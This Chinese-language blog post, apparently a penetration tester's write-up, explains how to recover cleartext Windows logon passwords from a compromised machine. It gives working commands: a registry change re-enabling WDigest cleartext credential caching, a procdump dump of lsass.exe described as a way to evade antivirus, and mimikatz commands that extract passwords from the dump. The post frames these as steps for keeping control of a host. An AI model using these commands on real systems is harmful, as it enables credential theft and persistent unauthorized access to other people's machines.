最近在渗透中,控下某单机后用mimikatz从内存中抓取密码,发现只抓到了hash,没有抓到明文密码,并且hash也解不出来,为了稳定控制,所以必须想办法抓出明文密码(注意键盘记录是无法记录windows的登陆密码的),于是研究了一下这个问题。在本地搭建相同环境实验后依然如此,经过查阅资料,发现微软在win7之后就打了补丁kb2871997,通过禁用Wdigest Auth来强制系统内存不保存明文口令,所以打了补丁的机器(版本较新的windows系统应该是自带的)都无法直接导出明文口令。
先放出结论,我们可以通过修改注册表来让Wdigest Auth保存明文口令:reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
下面是详细的测试过程
首先测试用mimikatz直接抓,可以看到报错
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
image.png
某些win10存在这种问题,一些又不存在,我也比较疑惑,不过不重要我们可以通过离线抓取的方式来规避。
在任务管理器找到lsass.exe,右键创建转储文件
image.png
当然渗透环境下用procdump
procdump是微软的官方工具,不会被杀,所以如果你的mimikatz不免杀,可以用procdump导出lsass.dmp后拖回本地抓取密码来规避杀软。Procdump.exe -accepteula -ma lsass.exe lsass.dmp
然后用mimikatz加载导出来的内存再抓hash,得到了hash,但是没有明文密码
sekurlsa::minidump c:\users\test\appdata\local\temp\lsass.dmpsekurlsa::logonpasswords
image.png
我们修改注册表:reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
修改了之后需要用户注销或者重启重新登陆之后才会生效
image.png
作者:身自在
链接:https://www.jianshu.com/p/e56e5bfde25b